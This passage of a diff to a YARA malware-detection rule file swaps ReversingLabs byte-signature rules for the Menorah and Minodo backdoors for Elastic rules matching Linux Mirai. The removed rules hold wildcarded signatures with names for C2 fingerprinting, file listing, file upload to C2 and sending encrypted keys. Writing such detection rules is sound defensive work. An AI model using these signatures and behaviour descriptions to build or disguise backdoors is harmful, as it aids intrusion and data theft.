-            0C 50 4F 57 FF 95 ?? ?? ?? ?? 8B 46 04 2B D2 F7 66 08 F7 66 0C 83 C4 10 3D 00 00 40 06 C3 [27] 81 EC ?? ?? ?? ?? 8B F4
-            68 ?? ?? ?? ?? 56 FF 95 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8A 17 88 14 06 40 47 80 FA 00 75 F4 68 ?? ?? ?? ?? 6A 00 FF 95 ??
-            ?? ?? ?? 97 56 57 B9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 3A 02 00 00 5F B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1
-            8B 57 3C 03 D7 0F B7 5A 14 8D 5C 13 40 8B 72 28 03 72 34 89 B5 ?? ?? ?? ?? C7 42 10 80 67 D5 40 FF 73 10 01 43 10 8B 43
-            10 05 ?? ?? ?? ?? 89 43 08 58 03 43 0C 89 42 28 52 B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 5A 01 43 10 01 42
-            50 81 42 50 ?? ?? ?? ?? 57 C6 85 ?? ?? ?? ?? 01 81 C7 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 A4 C6 85 ?? ??
-            ?? ?? 00 5F 5E 6A 00 6A 00 6A 02 6A 00 6A 00 68 00 00 00 C0 56 FF 95 ?? ?? ?? ?? 93 50 8B C4 6A 00 50 B8 ?? ?? ?? ?? 99
-        }
-		$greenp_body_2 = {
-            68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 50 57 53 FF 95 ?? ?? ?? ?? 58 57 FF 95 ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 6A 00 56 FF 95
-            ?? ?? ?? ?? 50 50 8B FC 8D 57 04 2B C0 52 57 50 68 3F 00 0F 00 50 50 50 8D 85 ?? ?? ?? ?? 50 68 02 00 00 80 FF 95 ?? ??
-            ?? ?? 85 C0 75 1E 6A 0C 56 6A 01 6A 00 8D 85 ?? ?? ?? ?? 50 FF 37 FF 95 ?? ?? ?? ?? FF 37 FF 95 ?? ?? ?? ?? 81 C4 ?? ??
-            ?? ?? C3
-        }
+		$a = { 0F FD FD FD FD FD FD 7A 03 41 74 5E 42 31 FD FD 6E FD FD FD FD }
 
 	condition:
-		uint16(0)==0x5A4D and ($greenp_body_1 at pe.entry_point) and $greenp_body_2
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Menorah : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3Acd6Ed4 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Menorah backdoor."
-		author = "ReversingLabs"
-		id = "4f13a6c6-bd97-58aa-ac3b-399866b5c63b"
-		date = "2024-05-10"
-		modified = "2024-05-10"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara#L1-L169"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "770aefca192ceb3a778c0b1259105ace8e64cb35d0c34acb15c45fb6f22ad94b"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3acd6ed4-6d62-47af-8d80-d5465abce38a"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1922-L1940"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2644447de8befa1b4fe39b2117d49754718a2f230d6d5f977166386aa88e7b84"
+		logic_hash = "ab284d41af8e1920fa54ac8bfab84bac493adf816aebce60490ab22c0e502201"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Menorah"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "e787989c37c26d4bb79c235150a08bbf3c4c963e2bc000f9a243a09bbf1f59cb"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$send_fingerprint_to_c2_p1 = {
-            28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A
-            73 ?? ?? ?? ?? 19 1F 0E 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1F 5B 13 ?? 12 ?? 28 ?? ??
-            ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 5D 13 ??
-            12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 1F 5B 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 17 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 06 A2 25 19 1F 40 13 ??
-            12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 0D 1F 3F 13 ?? 12
-            ?? 28 ?? ?? ?? ?? 17 16 28 ?? ?? ?? ?? 1F 3D 13 ?? 12 ?? 28 ?? ?? ?? ?? 17 16 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 03 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ??
-            13 ?? 11 ?? 1F 50 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 4F 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 53
-            13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 54 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 11 ?? 1F 21 8D ?? ?? ?? ?? 25 16 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F
-            70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F
-            6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F
-            63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F
-            74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09
-        }
-		$send_fingerprint_to_c2_p2 = {
-            1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
-            1F 0B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 78 13 ?? 12 ?? 28 ?? ?? ?? ??
-            A2 25 1F 0D 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 77 13 ?? 12 ?? 28 ?? ??
-            ?? ?? A2 25 1F 0F 1F 77 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 77 13 ?? 12 ?? 28
-            ?? ?? ?? ?? A2 25 1F 11 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 66 13 ?? 12
-            ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 72 13
-            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 16 1F
-            2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
-            18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1F 1A 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ??
-            ?? A2 25 1F 1C 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 6F 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1F 1E 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1F 1F 65 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1F 20 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 11 ?? 08 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 08 16 08 8E 69 6F
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25
-            6F ?? ?? ?? ?? 0D 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13
-            ?? DE ?? 11
-        }
-		$get_files_and_directories_p1 = {
-            11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 31 ??
-            11 ?? 17 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1F 0F 8D
-            ?? ?? ?? ?? 25 16 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1A 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 74 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1C 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 72 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 1F 20 13 ?? 12 ?? 28
-            ?? ?? ?? ?? A2 25 1F 0A 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 66 13 ?? 12
-            ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 11 ?? A2
-            25 1F 0E 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28
-            ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ??
-            13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F
-            16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12
-        }
-		$get_files_and_directories_p2 = {
-            28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F 79 13 ?? 12
-            ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13
-            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F
-            3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
-            0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ??
-            ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 3C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 52
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 3E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 72 ??
-            ?? ?? ?? A2 25 1F 09 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ??
-            ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 ?? 16 13 ?? 38
-            ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? 13 ?? 1F 0C 8D ?? ?? ?? ?? 25 16 11 ?? A2
-            25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 25 1F 09 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13
-        }
-		$get_files_and_directories_p3 = {
-            12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E
-            1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
-            1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ??
-            A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ??
-            ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28
-            ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 46
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 4C
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 45 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 72 ??
-            ?? ?? ?? A2 25 1E 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 72 ??
-            ?? ?? ?? A2 25 1F 0A 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0B 72 ?? ?? ?? ?? A2 28 ?? ?? ??
-            ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 1F 0B 8D ?? ?? ?? ?? 25
-            16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1B 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1D 1F 28 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1F 09 1F 29 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ??
-            ?? 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E
-            69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F
-        }
-		$upload_file_to_c2_p1 = {
-            11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 3E ?? ?? ?? ?? 11 ??
-            17 9A 17 8D ?? ?? ?? ?? 25 16 1F 22 9D 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 39
-            ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ??
-            13 ?? 1F 0D 8D ?? ?? ?? ?? 25 16 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 40 13
-            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1A 28 ?? ?? ?? ?? A2 25 1B 1F 7C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 28 ?? ?? ??
-            ?? A2 25 1D 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 11 ?? A2 25 1F 09 1F 40 13 ??
-            12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 32 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 40
-            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 11 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ??
-            02 02 7B ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 1F 1E 8D ?? ?? ?? ?? 25 16 1F 66 13 ??
-            12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 6C 13 ??
-            12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5B 13 ??
-            12 ?? 28 ?? ?? ?? ?? A2 25 1B 11 ?? A2 25 1C 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
-            1D 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
-            1F 09 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28
-        }
-		$upload_file_to_c2_p2 = {
-            A2 25 1F 0B 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 70 13 ?? 12 ?? 28 ?? ??
-            ?? ?? A2 25 1F 0D 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6F 13 ?? 12 ?? 28
-            ?? ?? ?? ?? A2 25 1F 0F 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 64 13 ?? 12
-            ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 64 13
-            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F
-            74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
-            16 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1F 18 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 72 13 ?? 12 ?? 28 ?? ?? ??
-            ?? A2 25 1F 1A 1F 76 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 65 13 ?? 12 ?? 28 ??
-            ?? ?? ?? A2 25 1F 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 2E 13 ?? 12 ??
-            28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 1F 0F 8D ?? ?? ?? ?? 25 16 1F
-            66 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F
-            6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F
-            20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F
-        }
+		$a = { E5 7E 44 4C 89 E3 31 FF 48 C1 E3 05 48 03 5D 38 48 89 2B 44 88 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($send_fingerprint_to_c2_p*)) and ( all of ($get_files_and_directories_p*)) and ( all of ($upload_file_to_c2_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Backdoor_Minodo : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Eb940856 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Minodo backdoor."
-		author = "ReversingLabs"
-		id = "0eeff863-1a46-5b25-8780-5cd887e3b1e2"
-		date = "2023-06-07"
-		modified = "2023-06-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Win64.Backdoor.Minodo.yara#L1-L110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "807408699fe00c8d1170598050e533dd0d79bb170f2538b6b6227cda7410060b"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "eb940856-60d2-4148-9126-aac79a24828e"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1942-L1960"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fbf814c04234fc95b6a288b62fb9513d6bbad2e601b96db14bb65ab153e65fef"
+		logic_hash = "d7bb2373a35ea97a11513e80e9a561f53a8f0b9345f392e8e7f042d4cb2d7d20"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Minodo"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "01532c6feda3487829ad005232d30fe7dde5e37fd7cecd2bb9586206554c90a7"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$generate_system_id = {
-            40 55 53 56 57 41 56 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B F1 48 8D 55 ?? 48 8D
-            4D ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 DB 85 C0 75 ?? 66 C7 45 ?? ?? ?? 4C
-            8D 45 ?? 48 8D 55 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? 66 C7 45 ?? ?? ?? 48 83 4D ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? 8B CB 48 8B D3 BE ?? ??
-            ?? ?? 48 85 D2 7E ?? 44 8A 54 15 ?? EB ?? 44 8A 95 ?? ?? ?? ?? 41 8A 01 49 FF C1 48
-            FF C2 32 44 15 ?? 41 32 C2 41 32 00 49 FF C0 88 44 15 ?? 41 38 19 75 ?? 83 C9 ?? 4C
-            8D 4D ?? 41 38 18 75 ?? 83 C9 ?? 4C 8D 45 ?? 48 3B D6 75 ?? 83 C9 ?? 48 8B D3 83 F9
-            ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 48 8D 5D ?? 49 8B FE 44
-            0F B6 03 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 83 C7 ?? 48 FF C3 48 FF CE 75 ??
-            FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 8B D8 FF 15 ?? ?? ?? ?? 48 8D 55
-            ?? 44 8B CB 4D 8B C6 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5E 5F 5E 5B
-            5D C3
-        }
-		$generate_encrypt_and_send_key = {
-            48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 48 89 78 ?? 41 56 48 81 EC ?? ?? ?? ??
-            8B F2 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 40 ?? 48 8B 08 8B 09
-            E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 45 33 C0 45 8D 70 ?? 41 8D 50 ?? 41 8B CE E8
-            ?? ?? ?? ?? 48 8B D8 83 F8 ?? 74 ?? 41 8D 6E ?? 48 8D 44 24 ?? 8B CD C6 00 ?? 48 FF
-            C0 48 FF C9 75 ?? 0F B7 CE 66 44 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B CF 66 89 44 24 ??
-            E8 ?? ?? ?? ?? 48 63 FB 48 8D 54 24 ?? 48 8B CF 44 8B C5 89 44 24 ?? E8 ?? ?? ?? ??
-            85 C0 74 ?? 48 8B CF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? BE ?? ?? ??
-            ?? 48 8B CD 8B D6 E8 ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 33 C9 8A 44 29 ?? 48 FF C9 88
-            44 0C ?? 48 FF CE 75 ?? 8D 56 ?? 44 8D 46 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CF
-            8B F0 85 C0 74 ?? 48 8D 54 24 ?? 45 33 C9 44 8B C0 E8 ?? ?? ?? ?? 3B C6 74 ?? 48 8B
-            CF E8 ?? ?? ?? ?? 33 DB 8B C3 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 6B ?? 49 8B
-            73 ?? 49 8B 7B ?? 49 8B E3 41 5E C3
-        }
-		$get_encrypt_and_send_system_info = {
-            48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ??
